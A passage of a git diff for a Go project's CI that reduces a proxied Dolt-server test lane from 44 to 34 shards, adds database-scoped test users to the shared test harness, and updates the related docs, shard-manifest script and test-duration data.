TestProxiedServerIfRevisionGuardClose +34 31 TestProxiedServerMolBond -44 32 TestProxiedServerClose3 -44 32 TestProxiedServerGC -44 32 TestProxiedServerList -44 32 TestProxiedServerReadyConcurrent -44 32 TestProxiedServerServeModeGate +34 32 TestProxiedServerCleanDatabasesPurgeDropped +34 32 TestProxiedServerConfigConcurrent +34 32 TestProxiedServerDepB +34 32 TestProxiedServerServeStreamsTheJournalItIsWriting +34 32 TestProxiedServerServeUpdateClaim +34 32 TestProxiedServerStorageClass -44 33 TestProxiedServerDeferUndefer -44 33 TestProxiedServerDepB -44 33 TestProxiedServerInitExplicitBeadsDirIsAuthoritative -44 33 TestProxiedServerMolBurn -44 33 TestProxiedServerOrphans +34 33 TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce +34 33 TestProxiedServerClose +34 33 TestProxiedServerGC +34 33 TestProxiedServerMemory +34 33 TestProxiedServerPourRejectsEnumViolatingVar +34 33 TestProxiedServerRelate -44 34 TestProxiedServerChildren -44 34 TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix -44 34 TestProxiedServerPromote -44 34 TestProxiedServerServeRelease -44 34 TestProxiedServerUpdate2C - -44 35 TestProxiedServerConfigConcurrent -44 35 TestProxiedServerReady2 -44 35 TestProxiedServerShow - -44 36 TestProxiedServerDep2B -44 36 TestProxiedServerGateCreateInheritsRepoMetadata -44 36 TestProxiedServerServeRefusesTheJournalWhenItIsDisabled -44 36 TestProxiedServerWispGC - -44 37 TestProxiedServerDeleteWisp -44 37 TestProxiedServerNote -44 37 TestProxiedServerReady -44 37 TestProxiedServerShowWatch - -44 38 TestProxiedServerBackupRefusedOnExternalTopology -44 38 TestProxiedServerCascadeParity -44 38 TestProxiedServerClose4 -44 38 TestProxiedServerReadyClaimConcurrent -44 38 TestProxiedServerReclaim - -44 39 TestProxiedServerGateCheck -44 39 TestProxiedServerLabelB -44 39 TestProxiedServerMoleculeFrontDoorWriteParity - -44 40 TestProxiedServerDeleteConcurrent -44 40 TestProxiedServerIfRevisionGuardAssign -44 40 TestProxiedServerReadyC -44 40 TestProxiedServerRelate - -44 41 TestProxiedServerMolCurrent -44 41 TestProxiedServerPrune -44 41 TestProxiedServerTypes -44 41 TestProxiedServerUnclaim - -44 42 TestProxiedServerClose -44 42 TestProxiedServerCompactHistory -44 42 TestProxiedServerState -44 42 TestProxiedServerUpdateConcurrentMetadata - -44 43 TestProxiedServerCloseB -44 43 TestProxiedServerConfigB -44 43 TestProxiedServerMultiStatementSQL - -44 44 TestProxiedServerExport -44 44 TestProxiedServerGateCheckB -44 44 TestProxiedServerListSortRetiresTheWalk -44 44 TestProxiedServerListWatchCountsTheOffsetIntoMaxRows -44 44 TestProxiedServerMolReadyGated -44 44 TestProxiedServerServeLifecycle +34 34 TestProxiedServerClose4 +34 34 TestProxiedServerCreate2C +34 34 TestProxiedServerEdit +34 34 TestProxiedServerEpic +34 34 TestProxiedServerLink +34 34 TestProxiedServerServeReadRevision diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5922cf041..1be23c9fa 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1732,8 +1732,8 @@ jobs: # Like pr-risk.yml's proxied-server tier, "Test (Proxied Dolt Cmd N/15)", # as --config=doltserver-proxied: //cmd/bd:bd_proxied_test runs the shard # script, so shard k runs exactly that manifest entry's tests. This lane - # runs 44 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's - # duration-balanced 44-block; see scripts/ci/proxied_test_durations.json), + # runs 34 shards of its own (.github/scripts/proxied-cmd-test-shards.txt's + # duration-balanced 34-block; see scripts/ci/proxied_test_durations.json), # not the legacy jobs' 15 — shard k here is not the same split as their # shard k. Same build as --config=doltserver (race bd_test, non-race # bd_for_tests), shared with bazel-doltserver through the remote cache. @@ -1793,15 +1793,16 @@ jobs: fi # Remote: each shard's Go timeout is its job's 15m, 1200s Bazel cap, - # plus a compile. The 44-shard block is LPT-packed by + # plus a compile. The 34-shard block is LPT-packed by # scripts/ci/proxied_test_durations.json, a rbe-west capture of each - # top-level test's summed leaf-test time (see its header). Packed to - # <=430 cost-seconds per shard, and a shard's wall time ran ~0.3x its - # packed cost on the lane's executors (-test.parallel=4), so shards - # are expected around 100-150s. Nearly all of that is `bd init - # --proxied-server` against the shard's dolt sql-server, ~one per - # subtest; a shard running far longer than its packed cost is worth - # comparing against this job's recent history before assuming a hang. + # top-level test's summed leaf-test time (see its header), to ~187 + # cost-seconds per shard; shards are expected around 55-95s (the same + # packed cost has run up to 1.45x the median wall time). Nearly + # all of that is `bd init --proxied-server` against the shard's dolt + # sql-server, ~one per subtest, each as a user scoped to its own + # database (cmd/bd/proxied_shared_harness_test.go); a shard running far + # longer is worth comparing against this job's recent history before + # assuming a hang. - name: bazel test //... --config=doltserver-proxied id: test timeout-minutes: 25 @@ -1830,7 +1831,7 @@ jobs: run: >- python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" - --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 44 + --suite //cmd/bd:bd_proxied_test .github/scripts/proxied-test-shard.sh 34 - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 6dc8c19db..f725268ee 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1443,8 +1443,8 @@ sh_test( tags = ["embedded"], ) -# Runs 44 Bazel shards against the TestProxiedServer*/TestServerMode* -# functions, assigned by the manifest's 44-shard block (duration-balanced; +# Runs 34 Bazel shards against the TestProxiedServer*/TestServerMode* +# functions, assigned by the manifest's 34-shard block (duration-balanced; # see scripts/ci/proxied_test_durations.json), against this configuration's # (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race # bd_for_tests as the subprocess binary. This is a *different* shard count @@ -1501,7 +1501,7 @@ sh_test( # 192-core worker). "GOMAXPROCS": "4", }, - shard_count = 44, + shard_count = 34, tags = ["dolt-server-proxied"], ) diff --git a/cmd/bd/dolt_remote_remove_proxied_integration_test.go b/cmd/bd/dolt_remote_remove_proxied_integration_test.go index 77fb06592..ca589fbb4 100644 --- a/cmd/bd/dolt_remote_remove_proxied_integration_test.go +++ b/cmd/bd/dolt_remote_remove_proxied_integration_test.go @@ -36,7 +36,7 @@ func TestProxiedServerDoltRemoteRemove(t *testing.T) { t.Run("removes_existing_remote", func(t *testing.T) { t.Parallel() - p := newSharedProxiedProject(t, bd, "prr1") + p := newSharedProxiedRootProject(t, bd, "prr1") seedRemote(t, p, "backup", "https://doltremoteapi.dolthub.com/org/backup") out, err := bdProxiedRun(t, bd, p.dir, "dolt", "remote", "remove", "backup") @@ -53,7 +53,7 @@ func TestProxiedServerDoltRemoteRemove(t *testing.T) { t.Run("json_output", func(t *testing.T) { t.Parallel() - p := newSharedProxiedProject(t, bd, "prr2") + p := newSharedProxiedRootProject(t, bd, "prr2") seedRemote(t, p, "backup", "https://doltremoteapi.dolthub.com/org/backup") out, err := bdProxiedRun(t, bd, p.dir, "dolt", "remote", "remove", "--json", "backup") @@ -82,7 +82,7 @@ func TestProxiedServerDoltRemoteRemove(t *testing.T) { t.Run("nonexistent_remote_errors", func(t *testing.T) { t.Parallel() - p := newSharedProxiedProject(t, bd, "prr3") + p := newSharedProxiedRootProject(t, bd, "prr3") out, err := bdProxiedRun(t, bd, p.dir, "dolt", "remote", "remove", "ghost") if err == nil { t.Fatalf("expected error removing nonexistent remote, got:\n%s", out) diff --git a/cmd/bd/history_remote_frontdoor_matrix_test.go b/cmd/bd/history_remote_frontdoor_matrix_test.go index 8941651af..2a6f33ea2 100644 --- a/cmd/bd/history_remote_frontdoor_matrix_test.go +++ b/cmd/bd/history_remote_frontdoor_matrix_test.go @@ -357,7 +357,7 @@ func TestProxiedServerHistoryRemoteSupportedFrontDoorParity(t *testing.T) { }}, {"external-tcp", func(t *testing.T) proxiedProject { requireProxiedServerEnv(t) - return newSharedProxiedProject(t, bd, "hs_tcp") + return newSharedProxiedRootProject(t, bd, "hs_tcp") }}, } { t.Run(tc.name, func(t *testing.T) { diff --git a/cmd/bd/maintenance_commands_proxied_integration_test.go b/cmd/bd/maintenance_commands_proxied_integration_test.go index 68fa7d3bf..549d8d2a3 100644 --- a/cmd/bd/maintenance_commands_proxied_integration_test.go +++ b/cmd/bd/maintenance_commands_proxied_integration_test.go @@ -183,7 +183,7 @@ func TestProxiedServerCompactHistory(t *testing.T) { requireSharedProxiedServer(t) t.Parallel() bd := buildEmbeddedBD(t) - p := newSharedProxiedProject(t, bd, "cphist") + p := newSharedProxiedRootProject(t, bd, "cphist") for _, title := range []string{"keep-alpha", "keep-beta", "keep-gamma"} { bdProxiedCreate(t, bd, p.dir, title, "--type", "task") diff --git a/cmd/bd/proxied_shared_harness_test.go b/cmd/bd/proxied_shared_harness_test.go index cbaf3c5dd..2d34fbfee 100644 --- a/cmd/bd/proxied_shared_harness_test.go +++ b/cmd/bd/proxied_shared_harness_test.go @@ -3,13 +3,17 @@ package main import ( + "context" + "database/sql" "fmt" "os" "strconv" "sync" "sync/atomic" "testing" + "time" + "github.com/steveyegge/beads/internal/storage/doltutil" "github.com/steveyegge/beads/internal/testutil" ) @@ -55,22 +59,88 @@ func uniqueProxiedDatabase() string { return fmt.Sprintf("bdtest_%d", sharedProxiedDBSeq.Add(1)) } -func sharedProxiedInitArgs(t *testing.T, extraInitArgs ...string) (string, []string) { +// sharedProxiedCredential is who a shared-server project's `bd init` (and so +// its proxy) connects to the shard's dolt sql-server as. +type sharedProxiedCredential int + +const ( + // sharedProxiedScopedUser: the default. The database is provisioned + // server-side and the project connects as a user that can see only it + // (see provisionSharedProxiedDatabase). + sharedProxiedScopedUser sharedProxiedCredential = iota + // sharedProxiedRoot: the project connects as root and `bd init` creates + // the database itself. Only for tests that need a server-wide privilege + // (CALL DOLT_REMOTE, creating another database); each such init pays for + // every database on the server. + sharedProxiedRoot +) + +func sharedProxiedInitArgs(t *testing.T, cred sharedProxiedCredential, extraInitArgs ...string) (string, []string) { t.Helper() port := requireSharedProxiedServer(t) database := uniqueProxiedDatabase() - args := append([]string{ + args := []string{ "--database", database, "--proxied-server-external-host", "127.0.0.1", "--proxied-server-external-port", strconv.Itoa(port), - }, extraInitArgs...) - return database, args + } + if cred == sharedProxiedScopedUser { + provisionSharedProxiedDatabase(t, port, database) + args = append(args, "--proxied-server-external-user", database) + } + return database, append(args, extraInitArgs...) +} + +// provisionSharedProxiedDatabase provisions database on the shard's shared +// dolt sql-server the way a server that provisions databases server-side +// does: root creates the empty database and a passwordless user of the same +// name with ALL on it and nothing else, and the project connects as that user +// (--proxied-server-external-user). +// +// The scoping is what keeps a shard's inits from slowing each other down. +// Dolt answers an INFORMATION_SCHEMA query by walking every database the +// session can see, and `bd init`'s migration chain issues ~220 of them, so as +// root each init cost the server ~1.2 CPU-seconds more per database already on +// it: a shard's k-th init paid for the k-1 projects before it. A user that can +// see one database pays for one. Dropping finished projects' databases instead +// is not an option: a DROP DATABASE fails other sessions' in-flight +// INFORMATION_SCHEMA queries ("no root value found in session"). +func provisionSharedProxiedDatabase(t *testing.T, port int, database string) { + t.Helper() + dsn := doltutil.ServerDSN{Host: "127.0.0.1", Port: port, User: "root"}.String() + db, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("provisioning %s: opening the shared server: %v", database, err) + } + defer db.Close() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + // database is uniqueProxiedDatabase's bdtest_: safe to splice. + for _, stmt := range []string{ + fmt.Sprintf("CREATE DATABASE `%s`", database), + fmt.Sprintf("CREATE USER '%s'@'%%'", database), + fmt.Sprintf("GRANT ALL ON `%s`.* TO '%s'@'%%'", database, database), + } { + if _, err := db.ExecContext(ctx, stmt); err != nil { + t.Fatalf("provisioning %s: %s: %v", database, stmt, err) + } + } } func newSharedProxiedProject(t *testing.T, bd, prefix string, extraInitArgs ...string) proxiedProject { t.Helper() - database, args := sharedProxiedInitArgs(t, extraInitArgs...) + database, args := sharedProxiedInitArgs(t, sharedProxiedScopedUser, extraInitArgs...) + p := bdProxiedInit(t, bd, prefix, args...) + p.database = database + return p +} + +// newSharedProxiedRootProject is newSharedProxiedProject connecting as root +// (sharedProxiedRoot), for a test that needs a server-wide privilege. +func newSharedProxiedRootProject(t *testing.T, bd, prefix string, extraInitArgs ...string) proxiedProject { + t.Helper() + database, args := sharedProxiedInitArgs(t, sharedProxiedRoot, extraInitArgs...) p := bdProxiedInit(t, bd, prefix, args...) p.database = database return p @@ -78,7 +148,7 @@ func newSharedProxiedProject(t *testing.T, bd, prefix string, extraInitArgs ...s func newSharedProxiedProjectWithHooks(t *testing.T, bd, prefix string, hooks map[string]string, extraInitArgs ...string) proxiedProject { t.Helper() - database, args := sharedProxiedInitArgs(t, extraInitArgs...) + database, args := sharedProxiedInitArgs(t, sharedProxiedScopedUser, extraInitArgs...) p := bdProxiedInitWithHooks(t, bd, prefix, hooks, args...) p.database = database return p diff --git a/cmd/bd/sql_multistatement_proxied_integration_test.go b/cmd/bd/sql_multistatement_proxied_integration_test.go index 0f5736a3b..54eccfe63 100644 --- a/cmd/bd/sql_multistatement_proxied_integration_test.go +++ b/cmd/bd/sql_multistatement_proxied_integration_test.go @@ -79,7 +79,7 @@ func TestProxiedServerMultiStatementSQL(t *testing.T) { func TestProxiedServerSQLDatabaseFlag(t *testing.T) { bd := buildEmbeddedBD(t) - p := newSharedProxiedProject(t, bd, "df") + p := newSharedProxiedRootProject(t, bd, "df") // Stand up a second database with a table, alongside the project database. // The server is shared, so the name derives from the project's unique one. diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 93ec7f4cd..68b9aeee6 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1041,7 +1041,7 @@ Required` requires them to have run remotely and passed. frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), - `//cmd/bd:bd_proxied_test` (44; the frozen 15-shard block was + `//cmd/bd:bd_proxied_test` (34; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and `//internal/storage/dolt:dolt_server_full_test` (16) to have run exactly the tests its shard script lists (list-only mode, minus diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 2f293a23b..65f838f42 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -42,7 +42,7 @@ Each lane, as bazel.yml runs it (add your `--config=fork-cache` or | Dolt server (`bazel-doltserver`) | `bazel test //... --config=doltserver` | Starts its own `dolt sql-server` from the pinned binary; no docker. | | cmd/bd Dolt server (`bazel-cmd-dolt`) | `bazel test //cmd/bd:bd_dolt_server_test --config=doltserver-cmd` | 32 shards of the integration-tagged cmd/bd suite (the slowest tests pinned to 16 of them). | | Embedded Dolt (`bazel-embedded`) | `bazel test //... --config=embedded` | Remote execution only in CI; locally it is slow. | -| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 44 shards, each with a Dolt server. | +| Proxied server (`bazel-proxied`) | `bazel test //... --config=doltserver-proxied` | Remote execution only: 34 shards, each with a Dolt server. | | Server-Dolt storage (`bazel-server-storage`) | `bazel test //... --config=doltserver-integration` | Remote execution only. | | Docs | `make check-docs` | `//test/docsync:docsync_test` and `//scripts/repochecks:doc_freshness_test` in the test lane's configuration, then `scripts/check-doc-flags.sh` against the pinned release. | @@ -184,7 +184,7 @@ builds with the integration tag like `--config=integration`. Each shard runs its CI job's shard script, so for `--config=doltserver-integration` Bazel shard k runs the tests of job k+1 (both split the manifest's 16-shard block the same way). `--config=doltserver-proxied`'s `bd_proxied_test` instead -runs the manifest's own 44-shard block — bin-packed by measured duration, +runs the manifest's own 34-shard block — bin-packed by measured duration, not the legacy jobs' 15-shard, bd-init-cost-proxy block — so shard k there is not job k+1's tests; it is a different split of the same tests. diff --git a/scripts/ci/gen_proxied_shard_manifest.py b/scripts/ci/gen_proxied_shard_manifest.py index 0a099e0f9..ecac80c89 100644 --- a/scripts/ci/gen_proxied_shard_manifest.py +++ b/scripts/ci/gen_proxied_shard_manifest.py @@ -56,7 +56,7 @@ name coverage. The manifest file holds more than one block (one per total_shards value in use): the legacy, frozen 15-shard block pr-risk.yml/main.yml's jobs read, and -the Bazel-only lane's own block (44 shards since 2026-10-09). By default this prints +the Bazel-only lane's own block (34 shards since 2026-10-09). By default this prints only the requested total's block to stdout, which is NOT safe to redirect straight into the manifest file (`gen... 30 > file` deletes every other block). Use --write to update the file in place instead: it replaces only @@ -81,6 +81,9 @@ import sys default_manifest_path = '.github/scripts/proxied-cmd-test-shards.txt' func_re = re.compile(r'^func (Test(?:ProxiedServer|ServerMode)[A-Za-z0-9_]+)\(') +# A shared-server bd init: newSharedProxiedProject(WithHooks) or the root +# variant, newSharedProxiedRootProject. +shared_init_re = re.compile(r'newSharedProxied(?:Root)?Project') def discover_inits_cost(): @@ -98,7 +101,7 @@ def discover_inits_cost(): elif ln.startswith('func '): cur = None if cur: - costs[cur] += ln.count('newSharedProxiedProject') + costs[cur] += len(shared_init_re.findall(ln)) for k in costs: costs[k] = max(costs[k], 1) return costs diff --git a/scripts/ci/proxied_test_durations.json b/scripts/ci/proxied_test_durations.json index 27297aae8..fa22729c8 100644 --- a/scripts/ci/proxied_test_durations.json +++ b/scripts/ci/proxied_test_durations.json @@ -3,35 +3,34 @@ "Measured on rbe-west, the lane's own remote executors (instance oss), on", "2026-10-09: two `bazel test //cmd/bd:bd_proxied_test", "--config=doltserver-proxied --nocache_test_results` runs, one against the", - "then-committed 30-shard block and one against a 40-shard repack, so every", - "discovered test ran exactly once per run, with the lane's -test.parallel=4", - "and GOMAXPROCS=4. Both passed.", + "then-committed 44-shard block and one against a 20-shard repack, both", + "with the shared harness's database-scoped users", + "(cmd/bd/proxied_shared_harness_test.go), so every discovered test ran", + "exactly once per run, with the lane's -test.parallel=4 and GOMAXPROCS=4.", + "Both passed.", "", "Each value is a top-level test's serial-equivalent cost: the sum of the", " of every leaf test under it (a subtest with no subtests of", "its own; the test itself when it has none), each leaf averaged over the", - "two runs. It is NOT , which the previous (local) capture", - "used: for a t.Parallel test that attribute runs from the test's first RUN", - "line to its last PASS line, so it also counts the time the test sat paused", - "behind its shard's other tests. That made a cheap test that happened to", - "wait look as heavy as the shard, which is why the previous 30-shard block,", - "packed to ~360s per shard on paper, ran 38-286s per shard in CI. Leaves,", - "not direct subtests, because a parallel group's own is 0.", + "two runs. It is NOT : for a t.Parallel test that", + "attribute runs from the test's first RUN line to its last PASS line, so it", + "also counts the time the test sat paused behind its shard's other tests.", + "Leaves, not direct subtests, because a parallel group's own is 0.", "", - "A shard's remote wall time came out at about 0.3x its packed cost (four", - "subtests run at once): correlation 0.90 over the 30-shard run (19,224", - "cost-seconds, 5,671 shard-seconds of wall time); the 40-shard run's", - "shards ran 71-162s, apart from one that held two then-unsplit tests whose", - "cost the first capture had missed.", + "Nearly all of a test's cost is `bd init --proxied-server` against the", + "shard's dolt sql-server, ~one per subtest. Before the scoped users each", + "init also paid for every database already on the server (Dolt walks every", + "database the session can see for each of the ~220 INFORMATION_SCHEMA", + "queries in the migration chain), so a test's cost depended on how many", + "projects its shard had created before it; the previous capture totalled", + "19,618 cost-seconds over the same tests, this one 6,345.", "", - "The cost is almost all `bd init --proxied-server` against the shared dolt", - "sql-server: each init issues ~2,000 statements (81 DOLT_COMMITs) and costs", - "the server ~6-12 CPU-seconds, and most subtests run one init. A top-level", - "test with ~20 single-init subtests therefore cost 600-920 and ran for up", - "to ~350s alone, which no shard count can pack under that. The fifteen", - "heaviest were split into two or three top-level functions", - "(TestProxiedServerUpdate, -UpdateB, -UpdateC, ...); a split function's", - "entry is the sum of the leaves it now holds.", + "A shard's remote wall time came out at about 0.33x its packed cost (four", + "subtests run at once), with a wide spread between equally packed shards:", + "a 20-shard repack (~335 per shard) ran median 113s, max 136s; a 28-shard", + "repack (~227) ran median 78s, max 113s in PR CI. Size the shard count for", + "the slowest shard, not the median.", "", "`seconds_per_init_fallback` is the sum of all costs over the sum of all", "inits (discover_inits_cost()), used only for a test with no entry yet.", @@ -40,215 +39,215 @@ "top-level test's leaf s from every shard's", "bazel-testlogs/cmd/bd/bd_proxied_test/shard_*/test.xml." ], - "seconds_per_init_fallback": 29.5374, + "seconds_per_init_fallback": 9.9294, "tests": { - "TestProxiedServerAssign": 55.49, - "TestProxiedServerAutoPrune": 6.71, - "TestProxiedServerBackupRefusedOnExternalTopology": 0.45, - "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 10.13, - "TestProxiedServerBatchParity": 64.1, - "TestProxiedServerBlocked": 49.25, - "TestProxiedServerCascadeParity": 167.07, - "TestProxiedServerChildren": 12.43, - "TestProxiedServerCleanDatabases": 1.02, - "TestProxiedServerCleanDatabasesPurgeDropped": 2.23, - "TestProxiedServerClose": 223.82, - "TestProxiedServerClose2": 379.25, - "TestProxiedServerClose2B": 372.47, - "TestProxiedServerClose3": 253.62, - "TestProxiedServerClose4": 236.01, - "TestProxiedServerCloseB": 199.51, - "TestProxiedServerCloseBeadGate": 85.6, - "TestProxiedServerCloseConcurrent": 39.05, - "TestProxiedServerCloseSiblingBlockersFanIn": 45.72, - "TestProxiedServerComment": 101.7, - "TestProxiedServerCompactDolt": 0.15, - "TestProxiedServerCompactHistory": 2.27, - "TestProxiedServerConfig": 281.3, - "TestProxiedServerConfigB": 221.92, - "TestProxiedServerConfigConcurrent": 21.07, - "TestProxiedServerConfigSetMany": 56.32, - "TestProxiedServerContext": 30.68, - "TestProxiedServerCount": 29.54, - "TestProxiedServerCountIncludeInfra": 7.0, - "TestProxiedServerCreate": 35.39, - "TestProxiedServerCreate2": 313.1, - "TestProxiedServerCreate2B": 266.11, - "TestProxiedServerCreate2C": 115.17, - "TestProxiedServerCreateInfraTypeRoutesToWisps": 54.19, - "TestProxiedServerDeferAutoWake": 10.55, - "TestProxiedServerDeferUndefer": 23.62, - "TestProxiedServerDelete": 30.3, - "TestProxiedServerDeleteBlockedJSONSingleDoc": 16.89, - "TestProxiedServerDeleteConcurrent": 19.41, - "TestProxiedServerDeleteForceOrphans": 34.51, - "TestProxiedServerDeleteWisp": 4.98, - "TestProxiedServerDep": 265.67, - "TestProxiedServerDep2": 421.17, - "TestProxiedServerDep2B": 245.92, - "TestProxiedServerDep2C": 287.95, - "TestProxiedServerDepB": 252.49, - "TestProxiedServerDepConcurrent": 29.34, - "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 23.65, - "TestProxiedServerDoltLifecycle": 0.19, - "TestProxiedServerDoltRemoteRemove": 79.1, - "TestProxiedServerDuplicates": 76.36, - "TestProxiedServerEdit": 19.49, - "TestProxiedServerEpic": 47.73, - "TestProxiedServerEventsJournal": 6.01, - "TestProxiedServerEventsJournalOffByDefault": 5.45, - "TestProxiedServerExport": 18.56, - "TestProxiedServerExternalCreate": 5.6, - "TestProxiedServerExternalMutationPolicy": 15.57, - "TestProxiedServerExternalPolicyDirectParity": 8.37, - "TestProxiedServerFindDuplicates": 51.33, - "TestProxiedServerGC": 5.82, - "TestProxiedServerGateCheck": 171.29, - "TestProxiedServerGateCheckB": 205.0, - "TestProxiedServerGateCreateInheritsRepoMetadata": 4.94, - "TestProxiedServerGateFrontDoorDirectServerProxyParity": 22.23, - "TestProxiedServerGateLifecycle": 124.1, - "TestProxiedServerGateList": 48.97, - "TestProxiedServerGatedRendering": 9.09, - "TestProxiedServerGraph": 8.3, - "TestProxiedServerHeartbeat": 11.7, - "TestProxiedServerHistory": 7.88, - "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 26.2, - "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 5.58, - "TestProxiedServerHuman": 358.37, - "TestProxiedServerIfRevisionGuardAssign": 0.66, - "TestProxiedServerIfRevisionGuardClose": 0.82, - "TestProxiedServerIfRevisionGuardDelete": 0.81, - "TestProxiedServerIfRevisionGuardReopen": 1.48, - "TestProxiedServerIfRevisionGuardUpdate": 0.65, - "TestProxiedServerImport": 288.64, - "TestProxiedServerInfo": 6.0, - "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 12.59, - "TestProxiedServerInitIfMissing": 0.45, - "TestProxiedServerKV": 340.45, - "TestProxiedServerLabel": 298.09, - "TestProxiedServerLabelB": 234.22, - "TestProxiedServerLabelC": 271.95, - "TestProxiedServerLink": 62.35, - "TestProxiedServerLint": 6.67, - "TestProxiedServerList": 131.93, - "TestProxiedServerListComments": 1.97, - "TestProxiedServerListSortRetiresTheWalk": 0.23, - "TestProxiedServerListWatchCountsTheOffsetIntoMaxRows": 0.83, - "TestProxiedServerMemory": 90.84, - "TestProxiedServerMolBond": 267.25, - "TestProxiedServerMolBurn": 135.47, - "TestProxiedServerMolCurrent": 177.89, - "TestProxiedServerMolDistill": 55.5, - "TestProxiedServerMolLastActivity": 52.81, - "TestProxiedServerMolProgress": 41.09, - "TestProxiedServerMolReadyGated": 202.08, - "TestProxiedServerMolShow": 83.77, - "TestProxiedServerMolSquash": 73.31, - "TestProxiedServerMolStale": 52.8, - "TestProxiedServerMoleculeFrontDoorDirectServerProxyParity": 2.14, - "TestProxiedServerMoleculeFrontDoorWriteParity": 21.32, - "TestProxiedServerMultiStatementSQL": 7.5, - "TestProxiedServerNote": 21.92, - "TestProxiedServerOrphans": 4.25, - "TestProxiedServerOutageReconnectAcceptanceMatrix": 36.22, + "TestProxiedServerAssign": 16.45, + "TestProxiedServerAutoPrune": 8.6, + "TestProxiedServerBackupRefusedOnExternalTopology": 0.38, + "TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce": 8.01, + "TestProxiedServerBatchParity": 30.55, + "TestProxiedServerBlocked": 29.31, + "TestProxiedServerCascadeParity": 48.81, + "TestProxiedServerChildren": 9.53, + "TestProxiedServerCleanDatabases": 0.81, + "TestProxiedServerCleanDatabasesPurgeDropped": 2.22, + "TestProxiedServerClose": 68.94, + "TestProxiedServerClose2": 104.58, + "TestProxiedServerClose2B": 113.92, + "TestProxiedServerClose3": 50.47, + "TestProxiedServerClose4": 69.47, + "TestProxiedServerCloseB": 48.63, + "TestProxiedServerCloseBeadGate": 16.14, + "TestProxiedServerCloseConcurrent": 36.83, + "TestProxiedServerCloseSiblingBlockersFanIn": 25.27, + "TestProxiedServerComment": 24.83, + "TestProxiedServerCompactDolt": 0.2, + "TestProxiedServerCompactHistory": 1.86, + "TestProxiedServerConfig": 85.93, + "TestProxiedServerConfigB": 67.56, + "TestProxiedServerConfigConcurrent": 14.05, + "TestProxiedServerConfigSetMany": 12.34, + "TestProxiedServerContext": 9.81, + "TestProxiedServerCount": 8.05, + "TestProxiedServerCountIncludeInfra": 3.19, + "TestProxiedServerCreate": 22.17, + "TestProxiedServerCreate2": 94.47, + "TestProxiedServerCreate2B": 98.11, + "TestProxiedServerCreate2C": 70.34, + "TestProxiedServerCreateInfraTypeRoutesToWisps": 22.11, + "TestProxiedServerDeferAutoWake": 3.47, + "TestProxiedServerDeferUndefer": 9.21, + "TestProxiedServerDelete": 10.21, + "TestProxiedServerDeleteBlockedJSONSingleDoc": 9.34, + "TestProxiedServerDeleteConcurrent": 11.56, + "TestProxiedServerDeleteForceOrphans": 6.2, + "TestProxiedServerDeleteWisp": 4.71, + "TestProxiedServerDep": 91.86, + "TestProxiedServerDep2": 131.93, + "TestProxiedServerDep2B": 57.41, + "TestProxiedServerDep2C": 75.41, + "TestProxiedServerDepB": 67.92, + "TestProxiedServerDepConcurrent": 19.74, + "TestProxiedServerDepListSingleIDWarnsOnDroppedExternalEdge": 8.32, + "TestProxiedServerDoltLifecycle": 0.13, + "TestProxiedServerDoltRemoteRemove": 90.8, + "TestProxiedServerDuplicates": 22.36, + "TestProxiedServerEdit": 9.97, + "TestProxiedServerEpic": 8.17, + "TestProxiedServerEventsJournal": 4.62, + "TestProxiedServerEventsJournalOffByDefault": 5.95, + "TestProxiedServerExport": 14.47, + "TestProxiedServerExternalCreate": 4.62, + "TestProxiedServerExternalMutationPolicy": 8.86, + "TestProxiedServerExternalPolicyDirectParity": 6.31, + "TestProxiedServerFindDuplicates": 22.0, + "TestProxiedServerGC": 2.77, + "TestProxiedServerGateCheck": 38.27, + "TestProxiedServerGateCheckB": 41.55, + "TestProxiedServerGateCreateInheritsRepoMetadata": 2.72, + "TestProxiedServerGateFrontDoorDirectServerProxyParity": 17.87, + "TestProxiedServerGateLifecycle": 40.73, + "TestProxiedServerGateList": 20.14, + "TestProxiedServerGatedRendering": 4.95, + "TestProxiedServerGraph": 4.6, + "TestProxiedServerHeartbeat": 4.61, + "TestProxiedServerHistory": 3.5, + "TestProxiedServerHistoryRemoteRefusalFrontDoorMatrix": 21.43, + "TestProxiedServerHistoryRemoteSupportedFrontDoorParity": 6.74, + "TestProxiedServerHuman": 79.25, + "TestProxiedServerIfRevisionGuardAssign": 0.47, + "TestProxiedServerIfRevisionGuardClose": 0.67, + "TestProxiedServerIfRevisionGuardDelete": 0.59, + "TestProxiedServerIfRevisionGuardReopen": 1.39, + "TestProxiedServerIfRevisionGuardUpdate": 0.79, + "TestProxiedServerImport": 92.69, + "TestProxiedServerInfo": 2.71, + "TestProxiedServerInitExplicitBeadsDirIsAuthoritative": 9.07, + "TestProxiedServerInitIfMissing": 0.39, + "TestProxiedServerKV": 91.89, + "TestProxiedServerLabel": 75.59, + "TestProxiedServerLabelB": 